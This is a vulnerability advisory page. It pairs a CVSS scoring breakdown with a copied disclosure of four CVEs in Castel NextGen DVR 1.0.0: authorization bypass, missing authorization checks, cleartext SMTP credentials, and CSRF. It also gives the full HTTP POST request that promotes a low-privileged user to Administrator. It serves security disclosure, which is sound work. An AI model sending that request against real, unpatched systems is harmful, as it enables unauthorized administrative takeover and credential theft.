The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Castel NextGen DVR 1.0.0 Bypass / CSRF / Disclosure
All issues are associated with *Castel NextGen DVR v1.0.0 *and have been
resolved in v1.0.1*.*
-------------------------------
*CVE-2020-11679
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*
*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass
*Description*
A low privileged user can call functionality reserved for an Administrator
which promotes a low privileged account to the Administrator role:
POST /Administration/Users/Edit/:ID HTTP/1.1
> Host: $RHOST
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
> Firefox/52.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Cookie: $REVIEWER_COOKIES
> DNT: 1
> Connection: close
> Upgrade-Insecure-Requests: 1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 349
> UserId=:ID&Email=bypass%40test.com
> &FirstName=bypass&LastName=bypass&LDAPUser=false
>
> &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false
>
> &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false
>
> &Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false
> &Locked=false
-------------------------------
*CVE-2020-11680
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11680>*
*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass
*Description*
The application does not perform an authorization check before
functionality is performed. Low privileged users are prevented from
browsing to pages that perform Administrator functionality using GET,
however, functionality can be performed by directly crafting the associated
POST request. This can be exploited to modify user accounts, modify the
application, etc. Combined with the reported CSRF, CVE-2020-11682, any
user of the application can be used to grant Administrator access to a
malicious user.
-------------------------------
*CVE-2020-11681
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11681>*
*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass
*Description*
Credentials are returned in cleartext in the source of the SMTP page. If a
malicious user compromises an account. or exploits the CSRF to gain access
to the application, the associated SMTP server/account could also be
compromised.
-------------------------------
*CVE-2020-11682
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11682>*
*Original Disclosure*
https://www.securitymetrics.com/blog/where-did-request-come-from-cross-site-request-forgery-csrf
*Description*
The application does not properly prevent CSRF; the
__RequestVerificationToken, which is included with state changing requests,
is not verified by the application - requests are successful even when the
token is removed.
AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE [image:
SecurityMetrics]
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